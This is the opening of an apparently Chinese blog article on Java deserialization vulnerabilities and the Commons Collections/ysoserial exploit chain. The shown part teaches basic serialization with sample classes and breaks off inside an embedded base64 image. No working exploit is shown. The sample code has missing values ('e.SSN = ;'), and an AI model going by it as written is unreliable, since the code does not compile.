Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo TransformedMap Change LeadTo InvokerTransformer(Evil MethodName/Args)
catalog
. Java 序列化
. Commons Collections
. Java反序列化漏洞
. 漏洞利用实例
. 修复策略
. 安全问题延伸讨论
1. Java 序列化
. Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型
. 将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象
. 整个过程都是Java虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象
. 类ObjectInputStream 和ObjectOutputStream是高层次的数据流,它们包含序列化和反序列化对象的方法
0x1: 可序列化对象
定义了如下的Employee类,该类实现了Serializable 接口
package test; public class Employee implements java.io.Serializable
{
private static final long serialVersionUID = 1L; public String name;
public String address;
public transient int SSN;
public int number; public void mailCheck()
{
System.out.println("Mailing a check to " + name + " " + address);
}
}
需要明白的是,一个类的对象要想序列化成功,必须满足以下几个条件
. 该类必须实现 java.io.Serializable 对象
. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的(仅存在于内存中)
//如果想知道一个Java标准类是否是可序列化的,请查看该类的文档。检验一个类的实例是否能序列化十分简单, 只需要查看该类有没有实现java.io.Serializable接口
0x2: 序列化对象代码示例
ObjectOutputStream 类用来序列化一个对象,如下的SerializeDemo例子实例化了一个Employee对象,并将该对象序列化到一个文件中,该程序执行后,就创建了一个名为employee.ser文件,值得注意的是,当序列化一个对象到文件时, 按照Java的标准约定是给文件一个.ser扩展名
package test; import java.io.*; public class SerializeDemo
{
public static void main(String[] args)
{
Employee e = new Employee();
e.name = "LittleHann";
e.address = "Hangzhou";
e.SSN = ;
e.number = ;
try
{
String savePath = "C:/employee.ser";
FileOutputStream fileOut = new FileOutputStream(savePath);
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in " + savePath);
}
catch(IOException i)
{
i.printStackTrace();
}
} }
aaarticlea/png;base64,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